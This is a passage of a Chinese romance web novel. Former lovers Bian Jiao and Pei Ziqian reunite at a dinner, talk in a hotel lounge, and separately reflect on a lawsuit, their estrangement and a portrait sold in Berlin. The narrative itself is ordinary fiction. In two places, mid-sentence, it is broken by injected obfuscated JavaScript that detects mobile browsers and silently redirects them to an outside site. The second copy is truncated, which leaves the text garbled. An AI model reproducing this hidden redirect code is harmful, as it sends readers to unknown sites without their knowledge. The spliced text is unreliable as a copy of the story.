郑怀远是他的父亲,安保是为了保证他的安全,甚至连往来飞行都是公务舱,他从来没有一刻受到危险。 比起求助,他好像更应该在这场飞行当中低调行事,他的立场应该与他的父亲保持一致,在寻常的生意浮沉之中不发一言,静静等待这段时间过去。 可是这段时间好长,长到仿佛没有尽头。 暑期最盛之时,郑怀远终于面临诉讼,带着卞皎回了一趟阳市。 这一次卞皎才知道,原来裴子骞一家也被卷入这场旷日持久的欺骗当中。 酒杯中的气泡业已消失,卞皎举到唇边,轻轻抿了一口。 今晨公交上路过的一些熟悉地点在这时跳入他的眼中,市中心商场、阳山中学、窗户镂空的小巷、金湖柳树站台…… 他再次抬眼,朝不远处投去视线。 那个黑色身影终于回来,刚刚入座席中,似乎将手中的什么东西递给身边的人,二人此刻正在低声交谈什么。 卞皎的手收紧酒杯,忽然抬手饮尽液体,然后起身。 此刻席间皆在交谈,他的起身并不惹人注意,只是也许目标太过明确,脚步又丝毫没有放松,待他走到那张桌前时,黑色身影已经停下说话的动作。 抬眼看他许久,目光疏离中带着些许迟疑。 卞皎站定,感觉自己喉间有些发苦。 爱恨悲仇是很重,重到轻易无法出口,但他想自己此刻刚刚饮过一杯酒,也许唇墙能够因此放松。 最关键是,这么多年过去,偏偏今天他很想出口—— “裴子骞,有没有空?” “我们聊聊。” 29.N-酒精2 裴子骞没有料到。 方才他同卞皎相撞后,一刻也没有停地朝厅外走去,直到傍晚秋风拂过指尖,他终于停下脚步。从宋清的烟盒里取出一根烟,却又发现自己没带打火机,于是只能将烟叼在嘴里,就那样站了很久,直到旁边路过一个同样出来抽烟的人,才借到火。 打火机是黑色的都彭朗声,裴子骞也有一枚,只是并不常用。烟点燃的一瞬,他深吸了口气,就感觉眼前终于有了照明。 远处夕阳还未燃尽,他感觉旁边借火的人叹了一声气。 “没有想到,阳市竟然也有这样的日落。” 裴子骞靠在墙上,吐出一口烟:“今天天气并不好,遇见blue hour更美。” “蓝调时刻?”对方说:“我在欧洲常见。” 裴子骞微微点头:“阳市常有。” “这么说,你是阳市人。”对方问:“没有想到。” 裴子骞侧眸看他,这才发现这个人穿着一件咖色风衣,颧骨处有一片青紫。 对方没有分毫遮掩,大方吸了口烟,颧骨处皮肤随着动作起伏。他道:“方才我见到你与宋清在一起,你抽的也是他的烟吧?” “是。”裴子骞并无意外:“想来一根?” “不用,他的烟我抽不惯。没心没肺的人才抽那种。”说着,他拿出烟盒,散了一根自己的给裴子骞,裴子骞接过时侧眉微挑。 他道:“我与你抽同一款。” 对方闻言笑了下:“看得出来。毕竟都是苦情人。” 裴子骞没有接这一句。 十分钟后,他灭掉火朝厅内走去,借火的人这时刚又点上一根,于是夹着烟同他说拜。 然而裴子骞迈出一步却又退了回来,对方就见到他走到银色垃圾桶边,原以为他还想再抽一根,便拿出打火机要递过去,却见他从西服内兜里取出一支便携式漱口水。薄荷气息顿时散漫空气。 对方见状,在烟雾后摇了摇头:“啧。” 裴子骞一直以来有这样的习惯,抽过烟用漱口水,然后在室外散五分钟味,才会再进入室内,宋清曾笑话说他这个习惯十分优良,时刻准备接吻。 今次回室内落座后,他将烟盒递回,对方立即打开点了点。 “……还真只抽了一根?” “有人散我一根。”裴子骞说:“很巧合,那人与我抽同一款,不过他与你更巧。” “与我也巧?巧在哪?” “巧在你眼圈受伤,而他颧骨受伤。” 宋清表情登时怔住,几秒之后反应过来,顿然五颜六色变化纷呈。 “你在哪遇……”他问:“哪抽的烟?” 裴子骞却没有再答他的话。 “在外面?前门?还是后门?……” 宋清接连发问。好几十秒后,他才反应过来身侧之人的神情好像突然不对劲。顺着他的视线朝前看去,就见距离桌前大概十步左右的样子有一个人,正在走来。 宋清一眼认出这是方才差点在自己座位后方跌倒的那位男士。 此刻厅内灯光亮起,他得以将对方的全部容貌看得更清,左眼处那颗小痣已经被眼皮隐去,但整张脸孔依旧具有极高的辨识度。他想这位男士可能是今日交流的明星,往这边走就是传说中的跨界了。 他于是收回视线,继续催问身边的裴子骞。 “喂你答我——” “裴子骞……我们聊聊。” 宋清瞪大眼睛,重新看向那位男士。 反应过来自己听见了什么后,又看了看裴子骞,神情不可置信。 - 晚宴酒店位于近郊,也许是正值饭点,大堂吧里没什么人入座,落地窗外临一面湖。 卞皎随意点了一杯手冲咖啡,裴子骞则对侍者说:“我同他一样,不过再上一杯温水,谢谢。” 点完单后,他们二人却都未开口。 裴子骞交叠双腿,几乎倚靠在沙发背上。他注意到卞皎的左手放在腿侧,轻轻敲打椅垫。直到侍者上齐最后一杯温水,放在裴子骞的方向,卞皎手指动作才终于停下,微微启唇似要开口。 这时裴子骞却抬手,将透明水杯推向他的前方。 “……谢谢。”卞皎说。 “不客气。上一次我们见面,我喝了些酒,说的话不动听。” 裴子骞主动提起上次会面。 卞皎这才意识到暮云包厢里发生的一切不过就在一周之前,却好似隔了几百个日夜。他垂落视线,拿起那杯水喝了一口,忽然感觉想说的话尽数都被消灭。 暮云包厢那晚后,他其实曾经私下立誓,如果还能与对方有下次见面,要不然就将一切掰开碾碎从头讲清,要不然就装一辈子的陌生人,永远不要再有搭白。 很极端的两种选项,然而真正当这一天来临,他却发现两种都不好做。 方才在大厅里他饮一杯酒后向对方提出聊聊这种模棱两可的邀请,没想到对方不过两息便应允。朝大堂吧走来之时他走得很慢,卞皎趁机看了看旁边的反光镜,发现自己两颊之间已经出现明显的红晕,虽然身上的酒气并不浓重,但还是可以看出喝过酒。 直到此刻真正坐下,卞皎才真正有些觉得发窘。醉酒后的邀请,对方居然真的答应。 他沉默许久,一时不知如何开启话题,最后只能用脑海中一闪而过的语句: “你……最近怎么样?” 裴子骞盯着他的眼睛看了几秒,答:“很好。”接着他忽然坐起:“不如我们省去寒暄环节——” 眼神直白而锋锐。 “你想同我聊什么?” 卞皎的视线从水杯移起,对上他的目光,明显滞缓一瞬。左手微微攥紧,他竭力让自己放松,试图将这当成一场简单的交谈。 “我也不清楚,或许随意聊聊。” 讲的内心话,但一出口便后悔。这算什么,主动提出邀约,却说不清楚要聊什么。 裴子骞却似乎对这样的回答并不意外,他的目光下垂到对方攥紧的左手上,重新靠回椅背。 “那不如我开个头。”他说。 卞皎迟疑一下,点头。 裴子骞就交握双手,开口:“一周前的会面,我说的话不动听,饮酒这件事千万坏处,但有一点算得上好,那就是真心话变得容易开口。今日你找我聊聊,想必也是酒精的作用。” 卞皎没有回应。 裴子骞也没有等待,只继续说:“一旦开口的话,说第二次就没那么困难。厅内我没有饮酒,所以今天可以清醒再告诉你一次,卞皎,我不想你过好,这句是真的。至于那天其他的话,我向你道歉。” 卞皎张了张唇,还没来得及说话,却又被抢白。 “那么你呢?”裴子骞倏忽发问:“你想我过好么?” 卞皎的唇就闭上。 良久后,他开口:“我不知道。如果在今天之前面对这个问题,我想我会回答,当然,我当然希望你过好。” 但今天,当他真正问出裴子骞这个问题而对方回答很好之后,他突然就好像明白了那天晚上的整场对白。 他当然不希望裴子骞过好。 如果对方那晚的话是出于对他的恨,那么他的想法就是出于纯粹的自私。过去五年的时光里,他很少有时间能完全将对方从脑海中抛却,他总是在深夜无法入眠时想起曾经的点滴,然而当每天的第一抹日光照在窗前时,好像一切又都在向他宣告一个事实,那就是旧爱恋正无可避免地与新日升渐行渐远。 可他不想只有自己留在原地。 “不管我的真正想法是怎样,如今我已没有立场说相反的话,”卞皎扯了下唇角,笑容显得有些费力,“其实就连这场谈话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15351524|165050||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都很冒昧,毕竟你有未婚妻。” “没有。”裴子骞回答,直截了当:“我目前单身。” 卞皎抬眼,似乎与方才听到的话相比,对这个回答要更为震惊。 “可……陈久玥?” “同学。” 卞皎没有料想到这样的答案,他只知道铺天盖地都是二人大学相识,业已订婚的消息。 然而裴子骞这时却又开口:“我只是不希望被人臆断感情状况,并非要向你做什么解释,不要误会。” 卞皎握着水杯的手收紧:“我明白。” 一句话结束,刚刚被温水冲淡的酒精气味仿佛又升到鼻息,他沉了下目光,忽然将视线放远到窗外。 日已西沉许久,唯有不知名的湖泊在月光下波光粼粼。他想起多年前的那个夜晚,窗外金湖如同今日般闪耀,他在二楼卧室,左膝贴着纱布,而裴子骞就在他身前,一切好像从那一天起开始改变。 收回目光,他说:“其实我一直在想,如果当初我没有问你那句话。我的意思是,如果我没有问你是不是不喜欢我,那我们还会不会走到今天这步。我们会不会一直是朋友,一直到现在……” “不会。”裴子骞说:“我从来不想与你做朋友,就像你不想与我。” 卞皎的眉微微皱起,他不明白裴子骞的这句话,却又好像很能理解。 “也是。” 他忽然轻而一笑,像是释怀,眉眼间的神色终于放松,说出今日最长的一段话: “毕竟就连做朋友这件事,一开始也是我先逼迫你。我从小到大并没有什么朋友,能遇见你,真的很开心,即使一开始我们只会在上课的时候说话,但后来我找你一起出去玩,游园会、烟花秀,你都有答应,虽然能够看出来你并不乐意,但你能答应,我就足够庆幸。以至于后面,我离开阳市,又回到一个人吃饭的日子,都有些不习惯。” 裴子骞静静看着他说话,没有要打断的意思。 卞皎吸了一口气,呼出。他忽而感觉好像又回到了当年与裴子骞一起补习的时候,自己有说不完的废话,而对方只默默听。 “其实我想,今天我不该讲这些。我们能有机会坐下来说话,或许应该提高效率,我应该给你解释当初发生的事情,讲我的苦衷,就像昨天早上我在片场拍的那段戏,角色有一大段自白,托陈出当年的真相,然后就与家人转为和睦——” “你想错了。”裴子骞这时终于开口。 他好像听了一大段与主题无关的旁白,眸光紧紧看着身前之人,只想提取一条最精炼的主干。 “我并不需要你给我托陈苦衷或者真相,我们的关系也没那么容易和睦。抓着一件事情不放手的感觉实在太累,卞皎,一切已经过去太久,你是否想过,也许你想讲明的原委,我未必想听。” 卞皎眼睫轻轻颤抖,抬起视线。 裴子骞的话语坚定,但却依然靠在椅背之上,双眸不浓不淡地同他对视,并没有随时起身要走的意思。 卞皎一直攥紧的右手就倏忽松开。 他不是没有想过裴子骞会有这样的态度,但在入座之前,对方体面应允的颔首,走在身后的平缓脚步,甚至是为他推一杯温水的动作,都曾让他心中无法压制地生出侥幸,侥幸今天的交谈或许能够很轻松。可时至此刻,就像当初暧昧不平的心被对方一个吻给招降,这份侥幸也被对方亲手撕碎,没有片刻犹疑。 不知怎么表述,但现在,他居然突然觉得一切变得好做。 既然没有那么容易和睦,那是不是就代表今天这场对话真的可以随意。 他于是微微后靠,也终于交叠双腿,感觉自己调整到了一个极其舒适的坐姿。再次抬眼看向裴子骞时,一切就像回到当年金湖别墅二楼那张白色转椅。 “那你为什么答应来聊聊。”他问:“你想听什么?” 30.N-相欠3 卞皎将这句话问出口时,其实心中没有答案。 他与裴子骞之间的事情并不复杂,脉络清晰明了,而且正如对方所说,一切已经过去太久,顶天了不过是两个人的感情问题。时过境迁,比起虚无缥缈的旧误会,或许他更应该担心的是咖啡因不耐受的自己刚刚错喝一口手冲。 苦涩的液体在舌根泛酸,他终于等到对方的一个回答,不过却在意料之外—— “高考后,你回过一次阳市。二零二一年七月十七号。你应该没有忘记。” 卞皎眉间轻轻皱起。 “我记得。那天我和……我们回到阳市处理诉讼问题。” 那天他与郑怀远回到阳市,不知道行程如何泄露,他们入住的酒店外有人蹲点,半夜卞皎被敲了好几次房门。第二天因为安全问题,他跟随郑怀远一起到法院,后来离开时,院外的空广场上站了一大批人。 在人群中,他有看到熟悉的身影。 那天的太阳很大,广场有两棵香樟树,枝叶如盖,脚下一片阴凉。卞皎跟在郑怀远身后,越过刺眼的日光朝远处望了一眼,就和树下的裴子骞对视。 对方靠在树脚下,头发扎起,指间夹着一根香烟。他们对视后,对方的眼神并没有什么变化,甚至抬手,轻轻又吞吐一次烟雾。 卞皎说:“我们有对视。” 裴子骞闻言,缄默几秒,忽然笑了。这声笑由鼻息间传出,很轻很轻。 “原来我们有对视。” 他从沙发中坐直,靠得离卞皎近了一些,用仅有他们两人能够听清的声量说—— “卞皎,那你真的很狠心。” 卞皎表情稍变,却没有说话,裴子骞就靠回椅背里。 “你说的没错,我们今天能坐下来聊聊并不容易,应该提高效率,一分钟前我有几次甚至想下一秒就结束这场对话,毕竟与你多说一个字都是对我的惩罚。但现在,我的想法改变。卞皎,有些话,我希望你听清,不,其实你听不听清也无所谓,只是我觉得或许是时候说清了。” 回到阳市五天,裴子骞不是没有产生过找到卞皎将过去摊开掰碎的想法,但最终压下。 正如他自己所说,他并不认为自己是多么忠情的人,几年过去,旧事带来的余温其实早已逐渐冷却,甚至有些时候能感受到几丝酥痒,就像伤口恢复时的感觉,你能感受到它在愈合,即使缠上绷带,即使知道未来的某个将来它会重回于常,即使在当下它的存在感尚还强烈到无法忽视,那也仅仅只是在当下。 用观察一层绷带相隔的伤口的距离,裴子骞观察过去的自己。 他发现即使一切无可置疑地发生,但在很多时候,他还是更倾向于给对方找寻借口。就像一年前在英国接受的心理咨询,他与咨询师讲出口时好像最放不下高考结束那一天,久别的对方笑着走出校门的场景。他用不能理解,不能明白,想不通这样的字眼描述自己的感受,但在咨询的最末尾,他还是对对方说: “或许是我想错。他有通讯工具不能代表什么,他在笑依旧不能代表什么。那一年的英语题很简单,我们学校在最后的模拟考试中压中作文题,换做任何一个人都会开心—— “我的意思是,他有他的原因。” 裴子骞不否认自己对卞皎的任何情绪,也不压抑自己在心底为过去缝补的欲望。喜欢,爱,怨怼,甚至恨,并不是所有事情都像物理基本公式一样能够给出准确的定义,人的感情天然就是复杂的集合体,如果可以,他也只想保留最美好的记忆。 “你今天对我说有苦衷,我相信。高考后你没有联系过一次我,我可以理解,后来我也跟着家族处理过几次建筑行业的生意,进度款抵押、资金垫付、房产抵账,哪一个都不好受,郑怀远的事情,对错可以定论,但没那么好处理,如果我是他,我也不会让你与外界有任何联络。卞皎,这是否就是你的苦衷? “其实你不用回答我,我都说过,苦衷并不重要,是或不是也都不重要,即使不是也没关系,在我为你想好理由的那刻起,这件事情就算从我心里过去。几个月前我回到国内才知道,这些年里,你也没有好过到哪里去,所以一周前问你的那个问题我早已知道答案。郑怀远在住院,你面临大额的负债,如果要我给你一个建议,那就是这些债务统统不要处理,国内现在很安全,你父亲的事情并不至于连累到你,本来我想和你这样建议,但了解过后才发现,似乎即使你想偿还,也力不从心。 “很多时候,我最不明白的其实是自己。你看,我为你想好苦衷,考虑对策,其实不过是还把你当成几年前的那个你,可是直到今天,我才无法逃避一个事实,那就是从一开始,我就没能把你看清。” 变得亲密前,裴子骞确实短暂地将卞皎当做过朋友,对方天真、赤诚,天然有着极高的共情能力,对人生有一种万事都无法破坏的求乐心,这都是裴子骞从未拥有的。 变得亲密后,他更是被对方无可救药地吸引。卞皎与他拥抱时会把头埋在他的脖颈,会轻轻一声笑后故意在他耳边吹气,索吻时更像一只用头蹭人的小猫,脸颊的绒毛在清晨阳光下又像水蜜桃,他大胆说爱,大胆求爱,甚至有时令裴子骞想自己是不是把爱情这件事情看得过于复杂,是不是两个人其实只有今天就算足够。 总之在他的爱情版刻里,卞皎的画像是从不回避。 “在法院那一天,我看见你,其实第一刻还有一些不确定,确定后心里又有很多情绪,直到你头也不回地进了车,我才想起来或许应该叫住你。所以那一天我终于给你打电话,我记得很清楚,距离上一次我给你打电话,有十三天四个小时零五分钟。那一天我给你拨了六次,全部能通,但是没有人接。那天晚上我就不断回忆,回忆你的手里究竟有没有手机,虽然阳光很刺眼,但是我正好能够看到你的手里有一块长方形的反光,可笑的是我告诉自己那并不一定是手机,也许是镜子、笔记本,或者什么其他一切可以反光的东西,总之不一定所有反光的都是手机。” 接着他就想到卞皎好像同他对视。 “时隔这么多年,我依旧觉得当时自己的想法并没有错。当时在场的人那么多,我与你隔的距离 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“与其说没能看清你,不如说我一直拿着过去的事情在心中为你雕刻一个永恒不变的人设。我早该想通,不管在感情里有多大胆,你也是一个人,你也会回避。”他说:“今天我讲这一切,已经没有要埋怨你的意思。相反我应该多谢你,谢谢你打破我心里最后一点的固执,其实想通这件事情一直都不难,难的是我自己不愿想通,就像那一次你说和我是朋友,我分明不想和你做朋友,我想我们□□人、做同学,甚至做陌生人都可以,就是不要做朋友。但到最后,我还是不愿同你讲清。” 裴子骞说完这些,交错的双手已在不知何时缓缓松开,这并不是他意表之内的对话。 其实早在今天之前,他就想过自己会不会真的有一个机会和卞皎坐下来聊天,他告诉自己如果到了那一天,一定不要着急,一定要把过往的一切都捋清,心底埋了那么多句为什么,总归要得到一个答案。 但当今天真正来临,卞皎走到他的面前向他提出邀请,他心底的第一个想法居然是拒绝。 他发现对方的脸颊上有红晕,就像很久很久以前在阳市的自建房里,他往小龙虾里放了一罐啤酒,对方在那一个夜晚看到了那部电影,说出了他不愿听到的问句,而他压抑到无法压抑。那时他最后脱口而出的,就是一句拒绝。 当时讲完拒绝后他听见身后传来开门声,对方的脚步像落逃一样,连句告别都没有,裴子骞后来后悔很久,所以在那个春游的晚上,他压抑到极点的感情终于决堤。 “卞皎,你并没有强迫我什么。” 他忽然看向卞皎的眼睛,对方好像还沉浸在上一个话题,双眸出神,情绪无法看清。 “与你交朋友,归根结底是我愿意,我们后来在一起,才真正是我强迫的你。我始终觉得,一场感情的开端不应该是那样一个强迫的吻,我没有给你拒绝的机会,所以最后你也没有给我说告别的机会。首尾相连,到头来说是咎由自取可以,说是两不相欠,或许也可以。” 他讲完这句话,没有再看卞皎的反应,起身请侍应生结过账单,然后一步不回地走出吧厅。 卞皎还在原地。 他的唇似乎张开,像是没有感受到离开,又像是想要叫住什么人或者什么东西,但片刻之后却又紧紧一闭,一切似乎错过了最好的时机。 最后他只起了下身,又坐下,拿起桌上的咖啡杯,颤抖着手,接着一饮而尽。 31.N-回避4 卞皎有咖啡因不耐受,奶茶、咖啡,甚至一些茶叶,他都不能碰,尤其是最近几年,偶尔接触到一杯低因饮品他都会难受到厕所呕吐。 但今天即使没有这杯咖啡,他也想吐。 有一种说法是当人悲伤或情绪受到冲击,总之内心起伏到了极致,第一个想法一定是想吐,胃是一种情绪器官,有时它的反酸恰恰能比拟人心理上的难过。 抛开今日这次,最近五年来,卞皎一共这样吐过三次。 第一次是高考结束那天,郑怀远的谎言被他发现,飞行当时已经过半,舱内灯光暗下,他忽然解开安全带朝厕所跑去,身后的安保反应过来后立马追上,最终他撑在厕所墙壁呕吐,回家后才发现膝盖不知在什么时候磕碰到一大片乌青。 另一次是一个月后与郑怀远回阳市那天,他得知裴子骞大伯也参与了这项工程,而对方的母亲间接因此去世,傍晚他在酒店马桶旁半跪到深夜,郑怀远要带他去看急诊,却被他拒绝。 今天他与裴子骞提出聊聊,却没想到整段对话中说话最多的反而是对方。当对方提及到法院门口那次对视后,他的脑海中只有一个想法——结束。 结束了,一切都结束,没有办法和睦,因为他连辩白都做不到。 落座之前他本来有想,是该与对方讲他通讯受阻,还是该说郑怀远连他都欺骗,他以为这是自己与裴子骞之间最大的误会,他并不奢求这个误会解除之后能与对方重回什么关系,但至少想让对方能够不要那么恨自己。 可是当裴子骞一字一句说出那些对白的时候,他才意识到,真的想错太多。 原来对方早已不恨自己。 不是误会解开的不恨,而是没有必要的不恨。 通讯受阻,对方有为自己找理由,郑怀远的欠债,对方也为自己想对策,卞皎就想到最近几个月来发生在自己身上的事情,好像不管闯下多大的祸,总能因为意外的原因被圆起。他无法不将其联想到裴子骞,可是越想下去,胃里的异样就越明显。 第二日他有两场戏要拍,但前一夜却整晚没有合眼,好在剧本都是提前背过一遍,强撑着状态拍完两遍后导演居然也让通过。 结束后他回到宾馆,躺在床上依旧无法入眠,将薄荷香薰拿出来点燃,凑到鼻子面前贪婪得像呼吸最后一口氧气一样,直到鼻腔已经开始发痛才作罢。熄灭香薰,他忽然从床上站起来,下楼打了个车到金湖。 如今是十月,阳市金秋,某一条街有梧桐叶落,再穿过,卞皎就看见阳山中学那排正在盛开的桂花树,隔着一条单行道的距离在风中洒落花雨。 车窗降下,竟然有那么一两颗花瓣洒进车里,他垂手捏起,恍惚间不知道回到什么时候,他只想起桂花花瓣是圆的这句话,他始终没能同裴子骞讲。 走过阳山中学后,司机的路线就逐渐清晰,卞皎看着窗外次序后退的街景,远处太阳已在西沉,这两日阳市的天气特别明朗,不像那一年的中秋后连下一周的雨。 最终下车。卞皎顺着记忆中的道路走到曾经的住宅区,如今他已不是业主,没有办法进入门内,只能在雕刻花纹的围栏边找寻到熟悉的那个背面,两层的独栋别墅外观依旧没变,就连只能露出一点的前方花圃都还种着曾经的粉芍药,那是他母亲以前最喜欢的花卉,后来连带着郑怀远也一起喜欢上。 卞皎就想到郑怀远。 大概三年前,郑怀远因饮酒过量,某个夜晚突发脑梗,卞皎那时在学校,已经很久没有回一趟家,接到电话后他才赶到医院。因为初中时期母亲住院的缘故,他并没有多么慌张,再大的病最后都不过一个死字,这点他早已习惯。 他从小围观死亡。 在还不知道死这个字是什么意思时,他就已经亲眼见证过一个活生生的男人在自己面前突发疾病离开人世。 那个时候他还在念小学一年级,周末跟母亲在市区住,母亲当时在和一个外地的男人恋爱。卞皎很讨厌那个男人,因为他,母亲总是要去外地,经常连周末也不会回家吃饭。有时周末在家,那个男人就会和她一起过来,他会摸着卞皎的头叫他名字,说要他听话,卞皎就会挣脱开,然后说我的名字不念一声,妈妈说念要三声。 后来长大,身边的人都念一声,卞皎其实已经习惯。但他永远不会忘记那个男人,因为他是唯一一个纠正后还不会改过的人,也是唯一一个让母亲改变自己说出的话,对他说“名字而已,怎么顺口就怎么念”的人。 最后一次见那个男人,是在一个平平无奇的周末,卞皎早早做完作业,在房间玩男人这次到来时送给他的拼图。忽然母亲的房间里传出尖叫,他捏着拼图从地上爬起来,就见到母亲在房间里边哭边摇晃床上的男人,而男人怎么也没有睁眼。 卞皎很少见到母亲哭,所以他也哭。他的声音一出口,母亲就转过身像是刚意识到他的存在。 “小皎,小皎……听妈妈的话,任何叔叔阿姨问你什么,你都说不知道,明白么?” 卞皎边哭边点头。 后来有穿制服的叔叔阿姨来到家里,然后就有一堆陌生人过来,其中一个阿姨一见到母亲就出手。卞皎很久之后才知道原来不睁眼的外地叔叔是那个阿姨的丈夫。 当时阿姨情绪激动,一连问了母亲好几个问题,母亲的回答好像都不令她满意,她忽然看见卞皎,就抓住他问 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那把吉他是裴子骞当初放在他那里的,面板是原木色,裴子骞后来有教他弹曾经那首英文歌,真的很难,但当对方冰凉的指点在他手上时,又好像什么事情都变得简单。这些年,卞皎找了很久和那把吉他一样的,却怎么都没能找到,他不记得吉他的牌子,只能记得其他的细节,而每一次浏览过的商品好像都只差一点点就能一模一样,但始终差那么一点。 暑假那次过后,他不是没有再回过阳市,他也反应过来去找过裴子骞的下落,他打过成百上千的电话,发过无数条短信,但好像就连以前的那张电话卡对方都已抛弃,没有一通电话能够接通,更别说被接起。 这次离开金湖区,他没有靠近金湖一秒。 他知道金湖一定泛蓝,整片水域连同天空可能在日落时分都像一幅图画,但他已经没有办法再接触更多过去的东西,不论是裴子骞,还是金湖,还是蓝色,都没有办法。 回到宾馆后,卞皎接了一通电话,是方岑的。 他讲郑怀远这两天的状况真的不好,作为弟弟,他建议卞皎不要再在这件事情上花费太多金钱,其实叔叔治疗与否结果都是一样。 卞皎眼前就浮现出蓝白色病房。 蓝的窗帘,蓝的床头,蓝的被套,死亡,外地叔叔的死亡,祖母的死亡,母亲的死亡,天空,金湖,衬衫,短袖,领带,发绳,借口,谎言,裴子骞,咎由自取,两不相欠—— “对了还有一件事。” 方岑的声音从听筒游来,平静如湖。 “上次与你对话结束,我想起去年柏林电影节。在某个地方,我好像有见过裴子骞。” 32.N-戒烟1 一年前,方岑有一部电影入围柏林电影节,遗憾没有拿到名次,但趁此机会在柏林休憩了一周。 这期间,他去过一场拍卖会。 “不知道你是否还有印象,四年前,你读大一,和同学拍的那部电影。”方岑说:“后来这部电影在国外电影节上拿过几个新人奖,前两天我还和导演吃过饭,可惜他已经转行。电影里你饰演的角色是位学生,有一幕是主角画家路过你们校园,为你画了一副肖像。我去的那场拍卖会主题正是电影幕后,有经典电影的底片、上世纪的拍摄机器,最重要的是在那之中,我看到了你的那副肖像。” 说是肖像也不完全正确,画的主体是卞皎无错,不过更重要的是他身后的校园。 方岑继续说:“那部电影其实算是我入圈的契机。你的那副画我记得很清楚,背后的湖面接着天空,一片蔚蓝,你就坐在最中央的位置,左眼上那颗痣很漂亮。” 卞皎记得拍摄那部片子时正是初春。那时冬寒还未完全消逝,时常刮起刺脸的冷风,拍到作画这一段时,导演让他在校园湖面前连着坐了三天,一共拍了十个小时,总算找到最想要的一幕。好在后来片场改到靠南的海市,他才免于在后续拍摄中继续受难。 回忆旧事费神,何况这番旧事的关键词唯有折磨二字,卞皎此刻已经很疲惫,语气算不上好:“方岑,你想表达什么?” “我想表达,也许他买下了你的那副画。” 卞皎握了下手机。 “不可能。” 即使对方没有说明那个他是谁,他也还是当即就否认。 方岑就问:“怎么不可能?我当时也动过心思要买,不过语言不通,后来去问时他们告知我已经被人买走,当时得到的消息是买家是个华人。他那时就坐在我斜前方的位置,中途离席过一次,现在想来,应该就是他了。你不是说他恨你么?我想并不是这样,你们之间,或许还有转圜的余地。” 卞皎从床上坐起来,看了眼摆在不远处床头的薄荷香薰。 “……不可能,真的。”收回目光,他起身说:“我与他昨天对话过。” “对话过?”方岑立刻问:“怎么样,他难道还恨你?” “不恨了。” “那为什么不可能?” 卞皎在床头柜前停下脚步,没有回答。 他拿起点火器点燃香薰,一声脆响,如豆的火光瞬间燃烧在碧绿容器之中,恍惚间好像多年前夜里的那抹烟点,倒映在他的眼眸。 良久后,他轻轻说:“因为不恨了,所以不可能。” 因为他们之间连恨都没有了。 所以,不可能。 这天晚上,卞皎翻出方岑所说的那部电影。 看见自己的脸孔出现在画面中的感觉很不一样,三年过去,他还是不能适应。 他记得这部电影在海市拍摄了半个月,期间负责剧本的学长常叫大家围在一起征求修改意见,那时他还不是很懂其中许多台词的意思,只知道后来上映时,许多的画面连同句子都被影评人拿出来欣赏。 那位学长讲话很慢,带着说不出的口音,念稿时有些像电影旁白。卞皎那天早上没有进食,坐在桌旁时,胃难受到发晕。 意识模糊之间,他依稀记得其中有一句台词是讲羁绊—— “人与人的羁绊真正消失的时刻,不是告别,也不是疼痛,仅仅是提起对方时语气平淡,就像提起一餐寻常的早饭。” - 一周逗留时间期满。 裴子骞从阳市回到首都,接着立刻飞英国。 登机、飞行、转机、飞行,接近十五个小时的里程,一路无言,没要叫酒,直接闭眼睡着,好像很多年没有睡过这样的好觉。 落地伦敦,他没有通知在邻市的助理。过边检,取出行李,过海关,独自走出希斯罗机场,期间抬眼看了一次天,闷白灰色,直到站在最门口停步几秒,然后习惯性抬手去摸里兜—— 却摸了个空。 这时他才意识到,从阳市登机前一天起到此刻,整整两天时间,他没有去买烟。 甚至连吸烟都忘记。 蜷缩手指,他忽然又松开手轻轻呼气,接着笑了一下。 这算什么。 就这样戒烟么? 他从十五岁开始吸烟,迄今已经快九年,中途不是没有想过戒掉,只是没有一次成功。 其实吸烟这件事,一开始的感觉并不好受,烟是成瘾物,家人学校社会三令五申禁止,第一口的烟雾吸进肺里时也似乎没什么大不了,甚至有些呛喉,但后来不知为什么,就是无法戒掉。 十五岁时,裴子骞念初三最后一学期,成绩优越,可以升入排名第一的阳中,但家里伯母似乎并不满意,明里暗里说过好几次要他去沿海,和那里的亲戚一起打工挣钱。 寄人篱下的滋味不好受,裴子骞很早就学会一言不发地忍受。 他从未对伯母的意见发出反驳,私下里却报名了老师推荐的一项省级物理比赛,如果比赛赢得成绩,他就能以全额奖学金升读阳中。去省城参加比赛的那几天,他本想好理由,准备对大伯说自己在学校进行补课,周末不会回家,然而周五时候乘车赶了一下午路,在宾馆安顿好时已经凌晨,打开手机,却空空荡荡,没有一条未接电话或者短信。 关掉屏幕,他一觉睡到天亮,不再准备和任何人告知去向。 第二天连绵小雨,天气阴沉。裴子骞是独立出门参赛,没有老师带队。 出门时他本来想去坐地铁,但光是弄清方向就花费了他很多时间,只能重新爬上地面招手打了一辆车。期间因为赶时间跑步太快,他摔了一跤,坐上车时才发现自己大腿后侧全是泥渍,但又没有带纸巾,前方司机的目光一下又一下传来,他只能低头,尝试用校服 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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他说好,接着挂掉电话。望向窗外街景,乌蒙的云层隔绝紫外线,远处有几只白鸽飞过,他收回视线盯着手指许久,突然叫停车。 下车后他在路边随意走进一家店面,结账走出,取出一根烟叼在嘴里,没有点燃。过了大概有接近半分钟,他忽然看了眼黑色烟盒上可怖的抢救画面,鼻息间出了声笑,又将烟放回,接着重新伸手招了一辆车。 这次一路直达目的地。 与约定时间迟到五分钟,但咨询室中心理咨询师依旧保持永远不变的微笑,伸手请他落座沙发。 他径直走过,拉开相反的旋转座椅坐下。咨询师就也起身要改变座位,他却告知对方不必。 “我们今天的谈话不会长,”他说,“我来,是为了有始有终。” 讲完这句,他停顿一刻,像是在思考应该从哪里开始,最终摩挲了一瞬手指,他抬眼—— “大概一年前,我在柏林买过一副画。这一件事,我是否有告诉你?” 33.N-有终2 